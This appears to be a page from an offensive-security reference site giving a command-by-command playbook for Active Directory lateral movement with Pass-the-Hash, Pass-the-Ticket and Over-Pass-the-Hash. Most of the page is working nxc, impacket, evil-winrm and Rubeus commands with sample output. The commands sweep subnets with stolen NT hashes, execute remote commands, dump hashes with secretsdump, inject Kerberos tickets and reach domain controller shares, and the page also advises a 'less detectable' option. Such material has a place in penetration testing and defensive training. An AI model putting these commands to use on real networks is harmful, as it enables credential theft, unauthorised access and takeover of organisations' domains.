# Pass-the-Hash and Pass-the-Ticket

> Explores credential-based lateral movement techniques in AD, covering PtH NTLM relay attacks and PtT Kerberos ticket hijacking to traverse network boundaries.

- **URL:** https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket
- **Path:** Active Directory > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/active-directory/lateral-movement.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Pass-the-Hash and Pass-the-Ticket are the two primary lateral movement mechanisms in Active Directory. Pass-the-Hash uses an NTLM hash directly as an authenticator against services that accept NTLM. Pass-the-Ticket injects a Kerberos TGT or TGS into the current session to authenticate against services that require Kerberos. Both techniques require no plaintext password and work as long as the hash or ticket is valid.

Hashes come from DCSync, LSASS dumps, or SAM extraction. Tickets come from Rubeus, ccache files, or impacket. The choice between PtH and PtT depends on what the target service accepts and what credential material you have.

- DCSync output: NT hashes for Pass-the-Hash
- LSASS dumps: both NTLM hashes and Kerberos tickets
- SAM extraction: local account hashes
- Rubeus dump: Kerberos tickets from Windows memory
- ccache files on Linux: /tmp/krb5cc_* on domain-joined hosts

## Pass-the-Hash with nxc

nxc is the fastest way to validate a hash and identify where it works across the network. Run a subnet sweep before targeting individual hosts.

**Pass-the-Hash: nxc sweep**

```bash
# Sweep a subnet: identify all hosts where the hash is valid
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH

# Local admin hash: use --local-auth
nxc smb $TARGET_SUBNET/24 -u Administrator -H $NTHASH --local-auth

# Confirm specific host
nxc smb $TARGET_IP -u $USER -H $NTHASH

# Execute command via PtH
nxc smb $TARGET_IP -u $USER -H $NTHASH -x 'whoami /all'
# SMB  10.10.10.20  445  WS01  [+] corp.local\jsmith:aad3... (Pwn3d!)
# SMB  10.10.10.30  445  WS02  [+] corp.local\jsmith:aad3... (Pwn3d!)
```

## Pass-the-Hash with impacket

Impacket tools accept hashes in `LM:NT` format. Use a null LM component when only the NT hash is available. Each tool gives a different execution primitive: use the one that fits the target environment.

**Pass-the-Hash: impacket tools**

```bash
# psexec: drops a service binary, noisy but reliable
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# wmiexec: WMI-based, no binary drop
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# smbexec: service-based, does not drop a binary to disk
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# secretsdump: dump hashes from remote host
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# smbclient: browse shares
impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
# C:\Windows\system32> whoami
# corp\jsmith
```

## Pass-the-Hash with evil-winrm

evil-winrm accepts NT hashes directly for WinRM access. Useful when the target has port 5985 open and the account has WinRM access.

**Pass-the-Hash: evil-winrm**

```bash
# Connect with NT hash (evil-winrm infers domain from the target, no -d flag)
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
# *Evil-WinRM* PS C:\Users\jsmith\Documents>
```

For the full Evil-WinRM workflow once inside, see [Evil-WinRM](https://hackindex.io/services/winrm/exploitation/evil-winrm).

## Pass-the-Ticket: inject a ccache ticket

Kerberos tickets obtained from DCSync, Rubeus, or delegation abuse are stored as `.ccache` files on Linux and `.kirbi` on Windows. Set `KRB5CCNAME` to point impacket tools at the ticket, or use Rubeus to inject it into the current Windows session.

On Kali: `/usr/share/rubeus/Rubeus.exe`

**Pass-the-Ticket: Linux (ccache)**

```bash
# Set the ticket for the current session
export KRB5CCNAME=/path/to/ticket.ccache

# Verify ticket contents
klist

# Use with impacket: any tool supports -k -no-pass
impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
impacket-wmiexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
impacket-secretsdump $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass

# Use with nxc
nxc smb $TARGET_IP -u $USER -p '' --use-kcache
# Credentials cache: FILE:/tmp/Administrator.ccache
#   Principal: Administrator@CORP.LOCAL
#   Valid until: Apr 30 2026
```

**Pass-the-Ticket: Windows (Rubeus)**

```powershell
# Inject .kirbi ticket into current session
C:\Windows\Temp\Rubeus.exe ptt /ticket:C:\Windows\Temp\Administrator.kirbi

# Inject from base64 blob
C:\Windows\Temp\Rubeus.exe ptt /ticket:$BASE64_TICKET

# Verify loaded tickets
klist

# Access resources with injected ticket
dir \\$DC_HOSTNAME\C$
# [+] Ticket successfully imported!
#
# Current LogonId: 0:0x4e865
#   [0] Administrator@CORP.LOCAL
```

## Over-Pass-the-Hash

Over-Pass-the-Hash converts an NT hash into a Kerberos TGT. Useful when NTLM authentication is blocked or when a full Kerberos session is needed. Rubeus performs this as `asktgt`: it requests a TGT from the KDC using the NT hash as the encryption key.

**Over-Pass-the-Hash: NT hash to TGT**

```powershell
# Request TGT using NT hash: inject into current session
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /ptt

# With AES256 key (less detectable)
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /aes256:$AES256KEY /ptt

# Save to file for Linux use
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /outfile:ticket.kirbi
# [+] TGT request successful
# [+] Ticket successfully imported!
```

**Over-Pass-the-Hash: impacket getTGT**

```bash
# Request TGT from Linux using NT hash
impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP

# Use the resulting ccache
export KRB5CCNAME=$USER.ccache
impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
# [*] Saving ticket in jsmith.ccache
```

When sweeping with a hash, look for `Pwn3d!` in nxc output: that indicates local admin access, not just authentication. Hosts where your hash gives local admin are immediate lateral movement targets. Feed hostnames from the sweep into [Credential Harvesting](https://hackindex.io/platforms/active-directory/post-exploitation/ad-credential-harvesting) to collect fresh hashes from LSASS on each compromised host. If the hash works against RDP, use [RDP Pass-the-Hash](https://hackindex.io/services/rdp/exploitation/pass-the-hash) for GUI access.

Related

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - psexec, wmiexec, smbexec, getTGT hash and ticket usage
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - SMB PtH sweep and --use-kcache module
- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - ptt, asktgt for ticket injection and Over-PtH